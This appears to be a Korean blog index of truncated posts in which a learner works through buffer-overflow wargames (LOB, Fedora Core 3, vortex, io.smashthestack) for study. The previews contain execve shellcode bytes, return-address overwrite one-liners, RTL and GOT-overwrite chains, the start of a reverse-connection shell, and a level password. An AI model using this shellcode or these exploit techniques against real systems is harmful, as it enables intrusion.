systemhacking 34

overthewire vortex 0~

0~1vortex.labs.overthewire.org에 5842로 접속하면 4개의 unsiged int를 주는데, 이걸 받아서 합한 후 다시 재전송해라. vortex는 32bit머신이다. # -*- encoding: cp949 -*- import socket, struct, itertools, operator s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('vortex.labs.overthewire.org',5842)) sum = reduce(operator.add,map(lambda x:struct.unpack('I',x)[0],[s.recv(4) for i in range(4)])) s.sendall(struct.pack('I',s..

execve, execl

http://bbolmin.tistory.com/35http://forum.falinux.com/zbxe/index.php?document_srl=408554&mid=C_LIB 참고system함수는 쓰기가 간편했다. 단지 system("/bin/sh"); 한줄만 넣으면 알아서 쉘이 실행되는데,execve, execl등은 뭘 어떻게 해야되지..? 하다가 알게됬다. execve는 인자가 3개 들어가며 인자(아래의 *argv[])의 첫번째는 실행시킬 파일명, 중간에는 인자, 마지막에는 반드시 NULL이 들어가야 한다. 아래처럼 실행시키면 된다. #include #include int main() { char *argv[]={"/bin/sh",NULL}; setreuid(geteuid(),geteuid()); ..

fedoracore 3 evil_wizard->dark_stone

http://turtle1000.tistory.com/69 참조앞의 hell_fire->evil_wizard문제와 비슷하지만 // buffer cleaning memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000); 라는 코드때문에 버퍼의 제약이 있다. got에 쓰는걸 잘못 활용하면 data로 값이 넘어가게되는데 위의 코드로 인해 버퍼가 초기화되서 제대로 실행이 안 될수도 있다고 함. 그래서 | buf(268) | +| strcpy@plt | ppr | bss+4[0] | system[0] | +| strcpy@plt | ppr | bss+4[1] | system[1] | +| strcpy@plt | ppr | bss+4[2] | system[2] | +| strcpy@plt |..

fedoracore 3 hell_fire->evil_wizard

http://turtle1000.tistory.com/68http://k1rha.tistory.com/entry/LOB-Fedora-BOF-GOT-overwrite-hellfire-evilwizard 를 참고. | buf(268) | +| strcpy@plt | ppr | printf@got+0 | system[0] | +| strcpy@plt | ppr | printf@got+1 | system[1] | +| strcpy@plt | ppr | printf@got+2 | system[2] | +| strcpy@plt | ppr | printf@got+3 | system[3] | +| printf@plt | AAAA | &/bin/sh | ppr 가젯을 사용하는 이유는 맨 마지막에 다시 씀. 그냥 저렇게 ..

fedoracore 3 dark_eyes->hell_fire

http://smleenull.tistory.com/309 에 설명이 잘되있음. 왜 do_system을 gate에서 쓰면 안되는지는 여기에 또 잘 나와있음 http://sanguine.leaveret.kr/3 do_system을 이용하면 쉽다고 하는데, do_system은 system함수에서 내부적으로 호출하는 함수라고 함. 사진을 살펴보면 0x750809에서 do_system함수를 호출한다. system함수 내부에서 execve를 호출한다는건 알고 있다. 근데 이 execve는 do_system함수 내부에서 호출된다. do_system내부의 0x7507ad에서 execve가 호출되는걸 알수 있다. 그런데 execve가 호출되기 이전에0x750784주소에서 인자들이 세팅되는데, http://sanguin..

fedoracore 3 iron_golem->dark_eyes

http://inhack.org/wordpress/?p=2975을 보고 했는데 이해가 안간다. execve를 쓰며, ret을 3번 덮어씌워서 execve의 위치를 조금 뒤로 바꾼 후, 인자를 구성하는데, execve의 위치를 바꾸는건 인자 구성을 위해서이다. 위 주소에 링크된대로 그대로 실험해봤다. ret에 브레이크포인트를 걸고, 인자로 아무거나 넣고 실행했다.ret에서 멈춰있으며(현재 0xfeee7c1c), execve를 실행시키기 위해서는 세번째 인자가 0이여야 한다.http://rosaria1113.blog.me/200745432 참조. 거기에 스택의 주소가 랜덤하게 바뀌므로 ret뒤의 주소중에서 3번째 자리가 0x0000000인 널값이면서, 계속 재실행시 주소의 위치가 바뀌지 않는 곳이어야 한다...

fedoracore 3 gate->iron_golem

http://turtle1000.tistory.com/60 를 보면서 풀고있다.앞에 적어놨던 기법들때문에 스택에 코드를올려서 리턴주소를 변경해주는걸로는 공격이 불가하다.got를 이용해 인자를 전달하고, execl함수로 실행이 가능하다고 한다. execl함수 예제.#include int main(){ execl("/bin/ls","ls","-l",NULL); return 0;} | ebp(4) | ret(execl 함수) | new ret(4) | 인자1 | 인자2 | 인자3 | 이런식인데,ebp에는 인자1의 위치-8의 주소, ret에는 execl함수의 주소+3을 넣어주면 된다고 한다. execl함수의 주소+3을 집어넣는 이유는, execl주소+1과 +2에는 첫 시작인 push ebp; move ebp, ..

aslr, dep, ascii_armor

dep는 data execution prevention으로 데이터 영역에서의 코드를 실행하지 못하게 하는 방법이라고 한다. 저번에 mprotect에 대해서 글을 썼었는데 mprotect가 이걸 우회하기 위해서 나온것 같다. dep가 non executable stack(nx-bit)하고 같은 말로 생각해도 될것 같다. aslr은 주소를 난수화시키는 기법이라고 한다. aslr이 난수화 시키는 주소영역은 Image Base, Heap, Stack, PEB(Process Environment Block), TEB(Thread Environment Block) 라고 한다. 즉 저부분을 벗어나기만 하면 고정된 주소이므로 익스플로잇이 성공 가능하다는 소리같다. (ex) got부분) ascii_armor은 라이브러리..

io.smash the stack 1~5

http://io.smashthestack.org/ level 01 : 숫자 3개를 입력하라고 한다. 근데 틀리면 아무런 반응이 없다. gdb로 연 결과 매우 간단한 어셈블리어가 보인다. fscanf로 입력받은 후 0x0804808f : cmp $0x10f,%eax에서 10f와 비교하는것 같다.... 10f는 10진수로 271이다. 271을 입력해주면 답.3ywr07ZFw5IsdKzU level 02 : 소스코드를 볼 수 있다고 해서 봤는데 시그널이 있다. 해당 시그널을 발생시켜야 쉘이 실행되는데, 시그널이 어떤건지 모르겠다. 찾아봤더니 The SIGFPE signal reports a fatal arithmetic error.라고 나와있다. 치명적인 산술 에러 발생시 저 시그널이 나온다고 한다. 그러면..

/proc/<pid>/maps 메모리 권한, 로드중인 라이브러리 확인

앞에서 mprotect에 대해서 썼었는데 예로 어떤 오버플로우 공격을 했는데 내가 지정했던 리턴주소가쓰기 권한이 없는 주소라고 하자. 그러면 해당 주소부분을 잘 덮어씌워도 내가 원하는 코드를 실행하지않고 세그먼테이션 폴트 오류가 발생한다. 리눅스에는 maps라는게 있는데 메모리의 rwx등의 권한을보여준다. 이처럼 백그라운드로 프로세스를 실행시킨 후 ps -ef | grep '이름' 으로 찾아보면 pid가 나오는데, 해당 pid로 maps를 출력하게 해보면 메모리에 대해서 권한이 나온다. 하지만 확실히 믿지는 말자.(maps정보가 틀린 경우도 있다고 한다.) 확실하게 권한이 있는지 확인해보려면 직접 넣어보고 실행해보면 된다.실행권한을 확인해보자. 40013000-40014000 같은경우는 실행 권한이 없는..

mprotect (메모리 권한 변경)

보통 버전이 높은 리눅스에서는 일반적으로 배열에 쉘코드를 넣어서 실행하는게 제대로 되지 않는다.일반적인 쉘코드 실행 검사 프로그램이다. #include #include char shell[]="\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main() { printf("shell len = %d\n",strlen(shell)); (*(void (*)()) shell)(); } 쉘코드는 맞지만 조금 높은 버전의 리눅스에서는 스택이나 힙에 실행권한이 없어져 프로그램이 실행이 되지 않는다. 그러나 mprotect라는걸로 실행 권한을 추가해 주면 해당 영역에서 코드 실..

linux background 2 (binary hacks)

gcc 확장기능(page 94)#include void __attribute__((constructor)) test_ctors(){ printf("cons\n");}void __attribute__((destructor)) test_dtors(){ printf("des\n");}void main(){ printf("main\n");} 와 같은 애트리뷰트를 덧붙일수 있다. glibc를 이용하지 않은 Hello World (page 109)Hello World는 c언어로 5줄 정도면 작성할수 있다. 그런데 동적 링크를 이용한다고 해도 크기가 5kb정도 된다. 좀더 작은 바이너리를 생성하려면?? gcc -o hello -v hello.c 로 컴파일해보면 다양한 .o파일을 링크함을 알수 있다. 그러므로 시스템 ..

linux background 1 (binary hacks)

결국 binary hacks라는 책을 구입했습니다 (-_-;) file - 파일 종류 확인 (page 12)i옵션은 mime 미디어 타입 문자열로 표시된다고 함.[root@localhost fedora]# file /usr/bin/file/usr/bin/file: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped [root@localhost fedora]# file -i /usr/bin/file/usr/bin/file: application/x-executable; charset=binary od - 바이너리 파일 덤프 (pag..

system 기본 용어들

http://devanix.tistory.com/179 에서 퍼왔습니다. 운영자님이 binary hacks라는 책을 요약한건데 기본기가 부족한 저에게 많은 도움이 된듯... 이참에 binary hacks라는 책도 있으면 빌려야겠네요. ---------------------------------------------------------------------[ ABI(Application Binary Interface) ]애플리케이션이 지켜야 할 바이너리 레벨의 규약.함수호출 시 스택 또는 레지스터 사용법, 심볼 name mangling 규칙 등이 정해져 있다.OS, 프로세서별로 규정되어 있다. [ API(Application Programming Interface ]애플리케이션 프로그램에서 OS나 라이브..

bof xavius->death_knight

바로 앞장에서 리버스 커넥스 쉘코드 만드는건 써놨고, http://qkqhxla1.tistory.com/251 http://w007.tistory.com/entry/LOB-xavius-deathknight를 참조해서 되는 코드는 만들었는데 이게 왜 되는지는 연구를 해봐야겠다. 왜 ret를 알수 없어서 브루트포싱해야한다는말인지 모르겠다. 이곳저곳 찾아보며 단서를 얻어본 결과 gdb로 실행할수 없어서 그런듯 싶다. # -*- encoding: cp949 -*- import socket buf = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x5..

리버스 커넥션 쉘코드 제작

lob에서 만들어봄. c 코드 예제. #include #include #include #include #include #include int main(int argc, char **argv) { struct sockaddr_in serveraddr; int server_sockfd; int client_len; char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0}; server_sockfd = socket(AF_INET, SOCK_STREAM, 6); serveraddr.sin_family = AF_INET; serveraddr.sin_addr.s_addr = inet_addr("192.168.219.143"); //192.168.219.143은 내 주소. ..

lob nightmare->xavius

참고1 : http://turtle1000.tistory.com/56참고2 : http://blog.naver.com/rkwhr415/220141437295 fgets의 stdin은 임시 버퍼가 있다고 한다. 그 임시 버퍼에 쉘코드를 넣어서 리턴주소를 거기로 바꿔주면 된다.임시 버퍼의 주소는 fgets함수를 호출하기 전의 push를 보면 있다고 한다.원래의 소스로 xaviu1이라는 실행파일을 만든 후 gdb로 돌려보면. mov 0x8048a3c %eax 후push eax를 하는데, 여기서 eax가 임시버퍼가 들어있으며 0x8048a3c 내부에 임시버퍼가 있다.b *main+26으로 fgets바로 다음에 브레이크포인트를 걸고 살펴보자. 실행후 aaaaaaaa를 입력하면 브레이크포인트에서 멈춰있는데, 여기서..

lob succubus->nightmare

argv[1]에 입력한 값을 잘 변조해서 쉘이 실행되게끔 하면 된다.strcpy(buffer, argv[1]); 이다.system함수+아무거나4개(system함수의 ret)+/bin/sh주소+아무거나32개+ret는 strcpy함수의 주소로 덮어씌운 후+아무거나 4개(strcpy함수의 ret)+바로 앞의 strcpy함수의 ret주소+system함수의 주소를 넣은곳의 주소 처럼 넣게되면 buffer에는 system함수와 그 인자로 알아서 채워질테고, ret이 strcpy함수로 변조되므로 strcpy함수가 실행된다. strcpy(dst, src)처럼 뒤의 내용을 앞으로 복사하므로, dst에는 strcpy함수의 ret주소, 앞에는 system함수가 들어간 곳의 주소(버퍼 시작 주소)가 들어가게 될테고, strc..

lob zombie_assassin->succubus

succubus.c를 열어보면 특이점이 있다. 여태까지 썼던 dumpcode가 헤더파일 형태로 소스코드에 그냥 박혀있다.일단 succubu1.c로 복사 후 맨 끝에 dumpcode(buffer,500);을 추가 후 succubu1로 컴파일해보자.함수를 살펴보면 DO GYE GUL YUT MO순서로 간 후 MO함수에 /bin/sh라는 문자열을 전달해주면 된다.(받은 인자로 system함수를 실행한다.)환경변수, 라이브러리가 다 사용 금지이므로 리턴주소를 각 함수의 주소로 덮어씌운 후 /bin/sh라는 문자열을 내가 직접 넣고, 그 문자열의 주소값을 가리키도록 MO함수의 인자자리에 넣으면 될것이다. nm이라는 명령어가 있는데 오브젝트 파일의 심볼들을 확인하는명령어라고 한다. ( http://s2kiess.b..

lob assassin->zombie_assassin (fake ebp)

fake ebp라는 기법을 이용하라고 한다. 관련 자료 : http://s2kiess.blog.me/220035160416, http://1tchy.tistory.com/entry/fake-ebp, http://zer0day.tistory.com/172 헷갈려서 문서를 여러개를 보면서 이해를 했다. 버퍼 뒤에 ebp, ret가 있는데, ebp를 변조해서 내가 원하는 곳을 ebp로 만들수 있다는게 요지이다. 원본 소스를 아무 코드도 추가하지 않고 zombie_assassi1.c로 복사후 zombie_assassi1로 컴파일한다.(dumpcode를 넣었을시 공격에 필요한 주소가 바뀌어서 그냥 원본 소스코드로 분석하고 진행.) 일단 원리를 설명하자면 ret에 leave주소를 넣어서 한번 더 참조하도록 하는게 ..

lob giant->assassin

assassin.c를 assassi1.c로 복사 후, dumpcode를 넣고 memset이후에 출력하도록 한 후 assassi1로 컴파일한다.ret에만 브레이크포인트를 걸고 gdb로 살펴보면 로 ret이 0x8048780위치로 나온다. ret에 브레이크포인트를 걸고, 인자로 a 48개를 주고 실행해보자.(ret까지 덮어씌운다.) 덮어씌워진 ret가 보이며 esp에 ret의 주소가 aaaa로 덮어씌워진걸 확인할수있다. 그런데 esp에 aaaa대신 ret주소를 한번 더 넣으면 ret을 한번 더 참조하게 된다고 한다. 왜냐하면 ret은 어셈블리어로 pop eip, jmp ip이다. 그러므로 eip의 주소를 덮어씌워주면 jmp eip로 인해 eip로 가기 때문이다. 아마도 저 주소가 현재 ret의 주소라서 그런..

lob bugbear->giant (rtl2)

execve를 활용하라고 한다. execve 예제소스. #include #include int main(){ char *argv[] = {"/bin/sh",0}; execve("/bin/sh",argv,0); return 0;} 이런식으로 실행이 된다. 즉 공격시 ret ret + 4(execve의 ret) execve의 첫번째인자 두번째인자 세번째인자 execve함수의 주소. 아무값. /bin/sh 문자열의 주소 두번 참조한 /bin/sh의 주소. 0 여기서 주목할 부분은 execve의 두번째 인자이다. 두번째 인자는 두번 참조한 /bin/sh의 문자열 주소인데, 두번 참조하는 이유는 위의 소스에서 보면 알수 있듯이, argv가 char *argv[]로 선언되었기 때문이다. 이제 이게 기본이고, exe..

lob darkknight->bugbear

http://turtle1000.tistory.com/49 참조 RTL공격을 해야한다고 한다. 모든 프로그램 내부에는 system함수가 있고, 이 system함수를 찾으려면 gdb로 해당 파일을 열어서 p system이나, disas system으로 시작주소를 찾으면 그게 시스템함수 주소이다. 처럼 찾았다. bugbea1.c는 bugbear.c를 cp로 복사한거고 bugbea1은 그걸 컴파일한거다. 시스템함수의 주소는 0x40058ae0이다. 이제 시스템함수에 /bin/sh라는 문자열을 넣으면 된다. 위에 링크를 걸어놓은 곳의 페이지 주인과 동일하게 소스를 짰다. system함수는 내부적으로 execve를 실행시키고, 이건 내부의 /bin/sh를 통해서 하는거므로 /bin/sh가 내부에 반드시 있다고 한..

lob golem->darkknight (1바이트변조)

소스를 보면 strncpy로 1바이트만 변조 가능하다. (참조 http://turtle1000.tistory.com/47)여기서는 어셈블리어 leave와 ret에 대해서 알아야 한다고 한다.#include int main(){ printf("Hello world\n"); return 0;}와 같이 간단한 프로그램을 만들고 컴파일한다. 이 파일을 gdb로 열고, 브레이크 포인트를각각 leave,ret에 잡는다. 잡고 실행을 해서 leave와 ret의 동작을 알아보자. r `python -c 'print "A"*40+"\x40"'`와 같이 실행해서, 40개를 아무거나 채워넣고, 변조하려는 부분을 \x40으로 채워넣고 실행해보면첫번째 브레이크포인트에서 걸리는데, 간단한 hello world만을 출력한 프로그램..

lob skeleton->goelm (LD_PRELOAD)

태국이가 쓴 LD_PRELOAD문서. 비슷한 관련 문서가 없으면 진짜 상당히 좋다고 생각한다. 초보자인 내가 보는데 이해가 잘된다!! 처음 보면 두번 이상 읽어서 완벽히 이해하기. 풀이는 http://turtle1000.tistory.com/46가 잘해놓음. 문서를 봤으면 동적으로 내가 LD_PRELOAD로 원래 있는 함수를 추가하면 원래의 함수가 실행되지 않고 LD_PRELOAD에 있는 함수가 실행된다. 예로 stdio.h 헤더파일에 printf함수가 있는데, 내가 정의한 printf함수를 LD_PRELOAD에 올려놓으면 stdio.h헤더파일이 있어도 내가 정의한 printf함수를 실행하게 된다. 하지만 setuid가 걸린 파일에서는 안된다고 한다. 만약 되면 setuid가 걸린 파일 내부의 함수중 아..

lob vampire->skeleton

cp skeleton.c skeleto1.c로 복사 후 복사한 파일에 dumpcode를 넣고, exit되는 부분은 다 주석처리 후 맨 아래에 dumpcode(buffer,2000);을 넣고 실행해보면 원래 skeleton.c소스에는 argc만큼 다 돌아가면서 argv부분을 전부 다 무력화시켜버리는데 dumpcode로 확인해보면 맨 아래에 실행파일 이름인 ./skeleto1이 남아있다.(결국 원래의 argv[0]말고 스택의 맨 아래에 하나 더 있다는 소리.) 그러면 여기를 공략하기위해 링크를 쉘코드로 건다. 안전을 기하기 위해 앞뒤로 nop을 100개씩 채워주자. 근데 위의 사진에서도 확인할수 있듯이 원래 써왔던 쉘코드인 \x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2..

lob orge->troll

1. argv[1],argv[2]가 막혀있으므로 argv[0]으로 공격.링크를 이용한 공격시 \x2f('/')가 들어가면 원래 존재하는 디렉터리가 아닌 이상 링크를 안시킨다고함. 그러므로 쉘코드에 \x2f는 사용금지, 그래서 다형성 쉘코드(쉘코드 변형된거)를 사용한다고함. 2. gcc -o trol1 trol1.cln trol1 troll123`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\x..

lob darkelf->orge

argv[0]의 길이가 77자여야된다는 조건이 추가됬는데 링크로 해결가능하다고 한다.링크로 파일을 만들때는 75글자여야한다.(맨앞의 ./포함해서 77자라네요.)일단 예시로 75글자짜리 파일 아무거나 하나 만든다.ex) gcc org1.c -o `python -c 'print "a"*75'`그리고 이걸 이용해서./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `python -c 'print "a"*44+"\xbf\xbf\xbf\xbf"'` `python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\x..

lob wolfman->darkelf

여기서는 이것저것 풀이를 살펴보니 거의다 argv[2]를 이용했다. 근데 삽질을 통해서 argv[1]로도 된다는걸 확인했다. argv[1]이용시 공격 주소 알아내기.(반드시 실제 공격에 사용할 코드 길이로 시험할 것) 끝부분만 "\xbf\xbf\xbf\xbf"에서 "\x3d\xfc\xff\xbf"로 바꿔주면 성공 argv[2]이용시. 중간에 "\xbf~"부분만 "\x54\xfc\xff\xbf"로 바꿔주면된다. 둘다 잘되는거 확인. bof에서 argv이용하는법 기억해두기!